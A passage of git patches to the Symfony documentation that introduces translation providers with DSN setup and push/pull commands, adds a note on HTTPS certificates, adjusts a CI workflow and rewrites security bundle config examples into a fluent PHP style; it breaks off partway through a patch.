From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Wed, 5 May 2021 17:39:59 +0200
Subject: [PATCH 0848/5766] [Translation] Introduce Translation Providers

---
 reference/configuration/framework.rst |  14 +++
 translation.rst                       | 152 ++++++++++++++++++++++++++
 2 files changed, 166 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d45f35dc742..1bc52ee73b4 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -283,6 +283,7 @@ Configuration
   * `formatter`_
   * `logging`_
   * :ref:`paths <reference-translator-paths>`
+  * :ref:`providers <reference-translator-providers>`
 
 * `trusted_headers`_
 * `trusted_hosts`_
@@ -2455,6 +2456,19 @@ default_path
 This option allows to define the path where the application translations files
 are stored.
 
+.. _reference-translator-providers:
+
+providers
+.........
+
+**type**: ``array`` **default**: ``[]``
+
+This option allows you to enable translation providers to push and pull your translations to third party providers.
+
+.. seealso::
+
+    For more information about how to configure providers, see :ref:`translation-providers`.
+
 property_access
 ~~~~~~~~~~~~~~~
 
diff --git a/translation.rst b/translation.rst
index 382beed92a0..406e56603a1 100644
--- a/translation.rst
+++ b/translation.rst
@@ -591,6 +591,158 @@ if you're generating translations with specialized programs or teams.
     :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface` interface.
     See the :ref:`dic-tags-translation-loader` tag for more information.
 
+.. _translation-providers:
+
+Translation Providers
+---------------------
+
+.. versionadded:: 5.3
+
+    The "Translation Providers" feature was introduced in Symfony 5.3 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
+
+The translation component can push and pull translations to third party providers (e.g. Crowdin or PoEditor).
+
+Installing and configuring a 3rd Party Provider
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Instead of editing your translation files as code, you can push them to one of the supported third-party providers.
+This will make the translations edition easier for you or your translators.
+
+==================== ===========================================================
+Service              Install with
+==================== ===========================================================
+Crowdin              ``composer require symfony/crowdin-translation-provider``
+Loco (localise.biz)  ``composer require symfony/loco-translation-provider``
+Lokalise             ``composer require symfony/lokalise-translation-provider``
+PoEditor             ``composer require symfony/po-editor-translation-provider``
+==================== ===========================================================
+
+Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
+a configuration example to your ``.env`` file. For example, suppose you want to
+use Loco. First, install it:
+
+.. code-block:: terminal
+
+    $ composer require symfony/loco-translation-provider
+
+You'll now have a new line in your ``.env`` file that you can uncomment:
+
+.. code-block:: env
+
+    # .env
+    LOCO_DSN=loco://API_KEY@default
+
+The ``LOCO_DSN`` isn't a *real* address: it's a convenient format that
+offloads most of the configuration work to translation. The ``loco`` scheme
+activates the Loco provider that you just installed, which knows all about
+how to push and pull translations via Loco. The *only* part you need to change is the
+``API_KEY`` placeholder.
+
+This table shows the full list of available DSN formats for each third party provider:
+
+===================== =================================================================
+ Provider             DSN
+===================== =================================================================
+ Crowdin              crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
+ Loco (localise.biz)  loco://API_KEY@default
+ Lokalise             lokalise://PROJECT_ID:API_KEY@default
+ PoEditor             poeditor://PROJECT_ID:API_KEY@default
+===================== =================================================================
+
+To enable a translation provider, add the correct DSN in your ``.env`` file and
+configure the ``providers``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            translator:
+                providers:
+                    loco:
+                        dsn: '%env(LOCO_DSN)%'
+                        domains: ['messages']
+                        locales: ['en', 'fr']
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:translator>
+                    <framework:provider name="loco" dsn="%env(LOCO_DSN)%">
+                        <framework:domain>messages</framework:domain>
+                        <!-- ... -->
+                        <framework:locale>en</framework:locale>
+                        <framework:locale>fr</framework:locale>
+                        <!-- ... -->
+                    </framework:provider>
+                </framework:translator>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        # config/packages/translation.php
+        $container->loadFromExtension('framework', [
+            'translator' => [
+                'providers' => [
+                    'loco' => [
+                        'dsn' => '%env(LOCO_DSN)%',
+                        'domains' => ['messages'],
+                        'locales' => ['en', 'fr'],
+                    ],
+                ],
+            ],
+        ]);
+
+Push and pull translations
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To push your existing translations to your configured third party provider, you have to use the `translation:push` command:
+
+.. code-block:: terminal
+
+    # push all local translations to the Loco provider for the locales and domains configured in config/packages/translation.yaml file
+    # it will update existing translations already on the provider.
+    $ php bin/console translation:push loco --force
+
+    # push new local translations to the Loco provider for the French locale and the validators domain.
+    # it will **not** update existing translations already on the provider.
+    $ php bin/console translation:push loco --locales fr --domain validators
+
+    # push new local translations and delete provider's translations that not exists anymore in local files for the French locale and the validators domain.
+    # it will **not** update existing translations already on the provider.
+    $ php bin/console translation:push loco --delete-missing --locales fr --domain validators
+
+    # check out the command help to see its options (format, domains, locales, etc.)
+    $ php bin/console translation:push --help
+
+To pull translations from a provider in your local files, you have to use the `translation:pull` command:
+
+.. code-block:: terminal
+
+    # pull all provider's translations to local files for the locales and domains configured in config/packages/translation.yaml file
+    # it will overwrite completely your local files.
+    $ php bin/console translation:pull loco --force
+
+    # pull new translations from the Loco provider to local files for the French locale and the validators domain.
+    # it will **not** overwrite your local files, only add new translations.
+    $ php bin/console translation:pull loco --locales fr --domain validators
+
+    # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
+    $ php bin/console translation:pull --help
+
 Handling the User's Locale
 --------------------------
 

From 04ec7c82ed187d9c297670cf34c1b286c7bf8aa1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 May 2021 17:07:39 +0200
Subject: [PATCH 0849/5766] Tweaks

---
 reference/configuration/framework.rst |  7 ++-
 translation.rst                       | 87 +++++++++++++++------------
 2 files changed, 53 insertions(+), 41 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 1bc52ee73b4..cfd85b374a7 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2463,11 +2463,12 @@ providers
 
 **type**: ``array`` **default**: ``[]``
 
-This option allows you to enable translation providers to push and pull your translations to third party providers.
+.. versionadded:: 5.3
 
-.. seealso::
+    The ``providers`` option was introduced in Symfony 5.3.
 
-    For more information about how to configure providers, see :ref:`translation-providers`.
+This option enables and configures :ref:`translation providers <translation-providers>`
+to push and pull your translations to/from third party translation services.
 
 property_access
 ~~~~~~~~~~~~~~~
diff --git a/translation.rst b/translation.rst
index 406e56603a1..7ac8f6d05a7 100644
--- a/translation.rst
+++ b/translation.rst
@@ -598,25 +598,32 @@ Translation Providers
 
 .. versionadded:: 5.3
 
-    The "Translation Providers" feature was introduced in Symfony 5.3 as an
+    Translation providers were introduced in Symfony 5.3 as an
     :doc:`experimental feature </contributing/code/experimental>`.
 
-The translation component can push and pull translations to third party providers (e.g. Crowdin or PoEditor).
+When using external translators to translate your application, you must send
+them the new contents to translate frequently and merge the results back in the
+application.
 
-Installing and configuring a 3rd Party Provider
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Instead of doing this manually, Symfony provides integration with several
+third-party translation services (e.g. Crowdin or PoEditor). You can upload and
+download (called "push" and "pull") translations to/from these services and
+merge the results automatically in the application.
 
-Instead of editing your translation files as code, you can push them to one of the supported third-party providers.
-This will make the translations edition easier for you or your translators.
+Installing and Configuring a Third Party Provider
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-==================== ===========================================================
-Service              Install with
-==================== ===========================================================
-Crowdin              ``composer require symfony/crowdin-translation-provider``
-Loco (localise.biz)  ``composer require symfony/loco-translation-provider``
-Lokalise             ``composer require symfony/lokalise-translation-provider``
-PoEditor             ``composer require symfony/po-editor-translation-provider``
-==================== ===========================================================
+Before pushing/pulling translations to a third-party provider, you must install
+the package that provides integration with that provider:
+
+====================  ===========================================================
+Provider              Install with
+====================  ===========================================================
+Crowdin               ``composer require symfony/crowdin-translation-provider``
+Loco (localise.biz)   ``composer require symfony/loco-translation-provider``
+Lokalise              ``composer require symfony/lokalise-translation-provider``
+PoEditor              ``composer require symfony/po-editor-translation-provider``
+====================  ===========================================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
@@ -633,25 +640,25 @@ You'll now have a new line in your ``.env`` file that you can uncomment:
     # .env
     LOCO_DSN=loco://API_KEY@default
 
-The ``LOCO_DSN`` isn't a *real* address: it's a convenient format that
-offloads most of the configuration work to translation. The ``loco`` scheme
-activates the Loco provider that you just installed, which knows all about
-how to push and pull translations via Loco. The *only* part you need to change is the
+The ``LOCO_DSN`` isn't a *real* address: it's a convenient format that offloads
+most of the configuration work to Symfony. The ``loco`` scheme activates the
+Loco provider that you just installed, which knows all about how to push and
+pull translations via Loco. The *only* part you need to change is the
 ``API_KEY`` placeholder.
 
-This table shows the full list of available DSN formats for each third party provider:
+This table shows the full list of available DSN formats for each provider:
 
-===================== =================================================================
- Provider             DSN
-===================== =================================================================
- Crowdin              crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
- Loco (localise.biz)  loco://API_KEY@default
- Lokalise             lokalise://PROJECT_ID:API_KEY@default
- PoEditor             poeditor://PROJECT_ID:API_KEY@default
-===================== =================================================================
+=====================  ==========================================================
+Provider               DSN
+=====================  ==========================================================
+Crowdin                crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
+Loco (localise.biz)    loco://API_KEY@default
+Lokalise               lokalise://PROJECT_ID:API_KEY@default
+PoEditor               poeditor://PROJECT_ID:API_KEY@default
+=====================  ==========================================================
 
 To enable a translation provider, add the correct DSN in your ``.env`` file and
-configure the ``providers``:
+configure the ``providers`` option:
 
 .. configuration-block::
 
@@ -706,37 +713,41 @@ configure the ``providers``:
             ],
         ]);
 
-Push and pull translations
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+Pushing and Pulling Translations
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-To push your existing translations to your configured third party provider, you have to use the `translation:push` command:
+After configuring the credentials to access the translation provider, you can
+now use the following commands to push (upload) and pull (download) translations:
 
 .. code-block:: terminal
 
-    # push all local translations to the Loco provider for the locales and domains configured in config/packages/translation.yaml file
+    # push all local translations to the Loco provider for the locales and domains
+    # configured in config/packages/translation.yaml file.
     # it will update existing translations already on the provider.
     $ php bin/console translation:push loco --force
 
-    # push new local translations to the Loco provider for the French locale and the validators domain.
+    # push new local translations to the Loco provider for the French locale
+    # and the validators domain.
     # it will **not** update existing translations already on the provider.
     $ php bin/console translation:push loco --locales fr --domain validators
 
-    # push new local translations and delete provider's translations that not exists anymore in local files for the French locale and the validators domain.
+    # push new local translations and delete provider's translations that not
+    # exists anymore in local files for the French locale and the validators domain.
     # it will **not** update existing translations already on the provider.
     $ php bin/console translation:push loco --delete-missing --locales fr --domain validators
 
     # check out the command help to see its options (format, domains, locales, etc.)
     $ php bin/console translation:push --help
 
-To pull translations from a provider in your local files, you have to use the `translation:pull` command:
-
 .. code-block:: terminal
 
-    # pull all provider's translations to local files for the locales and domains configured in config/packages/translation.yaml file
+    # pull all provider's translations to local files for the locales and domains
+    # configured in config/packages/translation.yaml file.
     # it will overwrite completely your local files.
     $ php bin/console translation:pull loco --force
 
-    # pull new translations from the Loco provider to local files for the French locale and the validators domain.
+    # pull new translations from the Loco provider to local files for the French
+    # locale and the validators domain.
     # it will **not** overwrite your local files, only add new translations.
     $ php bin/console translation:pull loco --locales fr --domain validators
 

From 2c197f785b9cb0489f3fef6e790652d16dcd70f5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 19 May 2021 17:39:42 +0200
Subject: [PATCH 0850/5766] Adding HTTP Certificates

See https://github.com/symfony/symfony/issues/41255

Questions:
* Should I create an anchor for `verify_host` and `verify_peer` to be able to link directly to these headings?
* Maybe a link on how to actually add it to the system store? For ubuntu I found https://askubuntu.com/a/94861/800003 and https://superuser.com/a/719047
---
 http_client.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 81f33d8308d..38ed8e7c0b8 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -712,6 +712,17 @@ called when new data is uploaded or downloaded and at least once per second::
 Any exceptions thrown from the callback will be wrapped in an instance of
 ``TransportExceptionInterface`` and will abort the request.
 
+HTTPS Certificates
+~~~~~~~~~~~~~~~~~~
+
+HttpClient uses the system's certificate store to validate SSL certificates
+(while browsers are using their own stores). If you're using self-signed certificates
+during development, the recommended way is to create your own certificate authority (CA)
+and add it to your system's store.
+Alternatively, you can also disable `verify_host` and `verify_peer` (see
+:ref:`http_client config reference <reference-http-client>`), but this is not
+recommended in production.
+
 Performance
 -----------
 

From 79a140bba0faa90065e42a68e96cc05037361f7e Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 19 May 2021 11:47:08 +0200
Subject: [PATCH 0851/5766] [CI] Make sure composer cache is properly used

---
 .github/workflows/ci.yaml | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index d279c2bf3c5..d5039a5e569 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -111,6 +111,8 @@ jobs:
         steps:
           - name: Checkout code
             uses: actions/checkout@v2
+            with:
+                path: 'docs'
 
           - name: Set-up PHP
             uses: shivammathur/setup-php@v2
@@ -119,37 +121,41 @@ jobs:
                 coverage: none
 
           - name: Fetch branch from where the PR started
+            working-directory: docs
             run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
 
           - name: Find modified files
             id: find-files
+            working-directory: docs
             run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
 
           - name: Get composer cache directory
             id: composercache
-            working-directory: _build
+            working-directory: docs/_build
             run: echo "::set-output name=dir::$(composer config cache-files-dir)"
 
           - name: Cache dependencies
+            if: ${{ steps.find-files.outputs.files }}
             uses: actions/cache@v2
             with:
                 path: ${{ steps.composercache.outputs.dir }}
-                key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
-                restore-keys: ${{ runner.os }}-composer-
+                key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
+                restore-keys: ${{ runner.os }}-composer-codeBlocks-
 
           - name: Install dependencies
             if: ${{ steps.find-files.outputs.files }}
-            run: composer create-project symfony-tools/code-block-checker ../_checker
+            run: composer create-project symfony-tools/code-block-checker _checker
 
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}
             run: |
-              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git ../_sf_app
-              cd ../_sf_app
+              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
+              cd _sf_app
               composer update
 
           - name: Generate baseline
             if: ${{ steps.find-files.outputs.files }}
+            working-directory: docs
             run: |
               CURRENT=$(git rev-parse HEAD)
               git checkout -m ${{ github.base_ref }}
@@ -159,5 +165,6 @@ jobs:
 
           - name: Verify examples
             if: ${{ steps.find-files.outputs.files }}
+            working-directory: docs
             run: |
               ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`

From 730a4ca82d0cbeba819c8099e2ba206874e36ead Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 16 May 2021 13:01:33 +0200
Subject: [PATCH 0852/5766] Rewrite config form the Security bundle

---
 configuration/env_var_processors.rst        |  18 +-
 reference/configuration/security.rst        | 131 +++++++------
 security.rst                                | 194 ++++++++++----------
 security/access_control.rst                 | 172 ++++++++---------
 security/access_denied_handler.rst          |  32 ++--
 security/auth_providers.rst                 |  61 +++---
 security/custom_authentication_provider.rst |  43 +++--
 security/experimental_authenticators.rst    |  97 +++++-----
 security/firewall_restriction.rst           |  72 ++++----
 security/force_https.rst                    |  44 ++---
 security/form_login.rst                     | 159 ++++++++--------
 security/form_login_setup.rst               |  55 +++---
 security/guard_authentication.rst           |  57 +++---
 security/impersonating_user.rst             |  59 +++---
 security/json_login_setup.rst               |  46 +++--
 security/ldap.rst                           |  98 +++++-----
 security/login_link.rst                     | 130 +++++++------
 security/multiple_guard_authenticators.rst  |  83 +++++----
 security/named_hashers.rst                  |  45 +++--
 security/password_migration.rst             |  37 ++--
 security/remember_me.rst                    |  53 +++---
 security/user_checkers.rst                  |  17 +-
 security/user_provider.rst                  |  60 +++---
 security/voters.rst                         |  25 +--
 24 files changed, 871 insertions(+), 917 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index d1be0338448..a12b63a7a3e 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -234,15 +234,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/security.php
-            $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
-            $container->loadFromExtension('security', [
-                'access_control' => [
-                    [
-                        'path' => '^/health-check$',
-                        'methods' => '%env(const:HEALTH_CHECK_METHOD)%',
-                    ],
-                ],
-            ]);
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\SecurityConfig;
+
+            return static function (ContainerBuilder $container, SecurityConfig $security) {
+                $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
+                $security->accessControl()
+                    ->path('^/health-check$')
+                    ->methods(['%env(const:HEALTH_CHECK_METHOD)%']);
+            };
 
 ``env(base64:FOO)``
     Decodes the content of ``FOO``, which is a base64 encoded string.
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 095b4cbdb13..fa9acdaa6a8 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -215,39 +215,34 @@ hashing algorithm. Also, each algorithm defines different config options:
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'password_hashers' => [
-                // auto hasher with default options
-                User::class => [
-                    'algorithm' => 'auto',
-                ],
-
-                // auto hasher with custom options
-                User::class => [
-                    'algorithm' => 'auto',
-                    'cost'      => 15,
-                ],
-
-                // Sodium hasher with default options
-                User::class => [
-                    'algorithm' => 'sodium',
-                ],
-
-                // Sodium hasher with custom options
-                User::class => [
-                    'algorithm' => 'sodium',
-                    'memory_cost' => 16384, // Amount in KiB. (16384 = 16 MiB)
-                    'time_cost' => 2,       // Number of iterations
-                ],
-
-                // MessageDigestPasswordHasher hasher using SHA512 hashing with default options
-                User::class => [
-                    'algorithm' => 'sha512',
-                ],
-            ],
-        ]);
+
+            // auto hasher with default options
+            $security->passwordHasher(User::class)
+                ->algorithm('auto');
+
+            // auto hasher with custom options
+            $security->passwordHasher(User::class)
+                ->algorithm('auto')
+                ->cost(15);
+
+            // Sodium hasher with default options
+            $security->passwordHasher(User::class)
+                ->algorithm('sodium');
+
+            // Sodium hasher with custom options
+            $security->passwordHasher(User::class)
+                ->algorithm('sodium')
+                ->memoryCost(16384) // Amount in KiB. (16384 = 16 MiB)
+                ->timeCost(2);      // Number of iterations
+
+            // MessageDigestPasswordHasher hasher using SHA512 hashing with default options
+            $security->passwordHasher(User::class)
+                ->algorithm('sha512');
+        };
 
 .. versionadded:: 5.3
 
@@ -310,18 +305,19 @@ hashing algorithm. Also, each algorithm defines different config options:
 
             // config/packages/test/security.php
             use App\Entity\User;
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
+                // ...
 
-            $container->loadFromExtension('security', [
-                'password_hashers' => [
-                    // Use your user class name here
-                    User::class => [
-                        'algorithm' => 'auto', // This should be the same value as in config/packages/security.yaml
-                        'cost' => 4, // Lowest possible value for bcrypt
-                        'time_cost' => 3, // Lowest possible value for argon
-                        'memory_cost' => 10, // Lowest possible value for argon
-                    ]
-                ],
-            ]);
+                // Use your user class name here
+                $security->passwordHasher(User::class)
+                    ->algorithm('auto') // This should be the same value as in config/packages/security.yaml
+                    ->cost(4) // Lowest possible value for bcrypt
+                    ->timeCost(2) // Lowest possible value for argon
+                    ->memoryCost(10) // Lowest possible value for argon
+                ;
+            };
 
 .. _reference-security-sodium:
 .. _using-the-argon2i-password-encoder:
@@ -432,20 +428,20 @@ application:
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                // 'main' is the name of the firewall (can be chosen freely)
-                'main' => [
-                    // 'pattern' is a regular expression matched against the incoming
-                    // request URL. If there's a match, authentication is triggered
-                    'pattern' => '^/admin',
-                    // the rest of options depend on the authentication mechanism
-                    // ...
-                ],
-            ],
-        ]);
+            // 'main' is the name of the firewall (can be chosen freely)
+            $security->firewall('main')
+                // 'pattern' is a regular expression matched against the incoming
+                // request URL. If there's a match, authentication is triggered
+                ->pattern('^/admin')
+                // the rest of options depend on the authentication mechanism
+                // ...
+            ;
+        };
 
 .. seealso::
 
@@ -807,18 +803,19 @@ multiple firewalls, the "context" could actually be shared:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'somename' => [
-                    // ...
-                    'context' => 'my_context',
-                ],
-                'othername' => [
-                    // ...
-                    'context' => 'my_context',
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('somename')
+                // ...
+                ->context('my_context')
+            ;
+
+            $security->firewall('othername')
+                // ...
+                ->context('my_context')
+            ;
+        };
 
 .. note::
 
diff --git a/security.rst b/security.rst
index f5f282f7efa..466dfa7aacd 100644
--- a/security.rst
+++ b/security.rst
@@ -75,10 +75,12 @@ install the security feature before using it:
         .. code-block:: php
 
             // config/packages/security.php
-            $container->loadFromExtension('security', [
-                'enable_authenticator_manager' => true,
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
+                $security->enableAuthenticatorManager(true);
                 // ...
-            ]);
+            };
 
 .. _initial-security-yml-setup-authentication:
 .. _initial-security-yaml-setup-authentication:
@@ -178,20 +180,18 @@ Fortunately, the ``make:user`` command already configured one for you in your
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
 
-            'providers' => [
-                // used to reload user from session & other features (e.g. switch_user)
-                'app_user_provider' => [
-                    'entity' => [
-                        'class' => User::class,
-                        'property' => 'email',
-                    ],
-                ],
-            ],
-        ]);
+            // used to reload user from session & other features (e.g. switch_user)
+            $security->provider('app_user_provider')
+                ->entity()
+                    ->class(User::class)
+                    ->property('email');
+        };
+
 
 If your ``User`` class is an entity, you don't need to do anything else. But if
 your class is *not* an entity, then ``make:user`` will also have generated a
@@ -251,19 +251,17 @@ command will pre-configure this for you:
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
 
-            'password_hashers' => [
-                User::class => [
-                    'algorithm' => 'auto',
-                    'cost' => 12,
-                ]
-            ],
+            $security->passwordHasher(User::class)
+                ->algorithm('auto')
+                ->cost(12);
 
             // ...
-        ]);
+        };
 
 .. versionadded:: 5.3
 
@@ -379,18 +377,17 @@ important section is ``firewalls``:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'dev' => [
-                    'pattern' => '^/(_(profiler|wdt)|css|images|js)/',
-                    'security' => false,
-                ],
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('dev')
+                ->pattern('^/(_(profiler|wdt)|css|images|js)/')
+                ->security(false);
+
+            $security->firewall('main')
+                ->lazy(true)
+                ->anonymous();
+        };
 
 A "firewall" is your authentication system: the configuration below it defines
 *how* your users will be able to authenticate (e.g. login form, API token, etc).
@@ -548,29 +545,29 @@ You must enable this using the ``login_throttling`` setting:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                // ...
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
 
-                'main' => [
-                    // by default, the feature allows 5 login attempts per minute
-                    'login_throttling' => null,
+            // ...
+            $mainFirewall = $security->firewall('main');
 
-                    // configure the maximum login attempts (per minute)
-                    'login_throttling' => [
-                        'max_attempts' => 3,
-                    ],
+            // by default, the feature allows 5 login attempts per minute
+            $mainFirewall
+                ->loginThrottling();
 
-                    // configure the maximum login attempts in a custom period of time
-                    'login_throttling' => [
-                        'max_attempts' => 3,
-                        'interval' => '15 minutes',
-                    ],
-                ],
-            ],
-        ]);
+            // configure the maximum login attempts (per minute)
+            $mainFirewall
+                ->loginThrottling()
+                    ->maxAttempts(3)
+                    ->interval('15 minutes');
+
+            // configure the maximum login attempts in a custom period of time
+            $mainFirewall
+                ->loginThrottling()
+                    ->maxAttempts(3);
+        };
 
 .. versionadded:: 5.3
 
@@ -863,27 +860,32 @@ start with ``/admin``, you can:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+
+            // ...
+            $security->firewall('main')
             // ...
+            ;
 
-            'firewalls' => [
-                // ...
-                'main' => [
-                    // ...
-                ],
-            ],
-            'access_control' => [
-                // require ROLE_ADMIN for /admin*
-                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
-
-                // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
-                ['path' => '^/admin', 'roles' => ['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']],
-
-                // the 'path' value can be any valid regular expression
-                // (this one will match URLs like /api/post/7298 and /api/comment/528491)
-                ['path' => '^/api/(post|comment)/\d+$', 'roles' => 'ROLE_USER'],
-            ],
-        ]);
+            // require ROLE_ADMIN for /admin*
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN']);
+
+            // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']);
+
+            // the 'path' value can be any valid regular expression
+            // (this one will match URLs like /api/post/7298 and /api/comment/528491)
+            $security->accessControl()
+                ->path('^/api/(post|comment)/\d+$')
+                ->roles(['ROLE_USER']);
+        };
 
 You can define as many URL patterns as you need - each is a regular expression.
 **BUT**, only **one** will be matched per request: Symfony starts at the top of
@@ -927,14 +929,19 @@ the list and stops when it finds the first match:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'access_control' => [
-                ['path' => '^/admin/users', 'roles' => 'ROLE_SUPER_ADMIN'],
-                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
-            ],
-        ]);
+            $security->accessControl()
+                ->path('^/admin/users')
+                ->roles(['ROLE_SUPER_ADMIN']);
+
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN']);
+        };
 
 Prepending the path with ``^`` means that only URLs *beginning* with the
 pattern are matched. For example, a path of ``/admin`` (without the ``^``)
@@ -1202,16 +1209,16 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'secured_area' => [
-                    // ...
-                    'logout' => ['path' => 'app_logout'],
-                ],
-            ],
-        ]);
+            $security->firewall('secured_area')
+                // ...
+                ->logout()
+                    ->path('app_logout');
+        };
 
 Next, you'll need to create a route for this URL (but not a controller):
 
@@ -1419,17 +1426,14 @@ rules by creating a role hierarchy:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'role_hierarchy' => [
-                'ROLE_ADMIN'       => 'ROLE_USER',
-                'ROLE_SUPER_ADMIN' => [
-                    'ROLE_ADMIN',
-                    'ROLE_ALLOWED_TO_SWITCH',
-                ],
-            ],
-        ]);
+            $security->roleHierarchy('ROLE_ADMIN', ['ROLE_USER']);
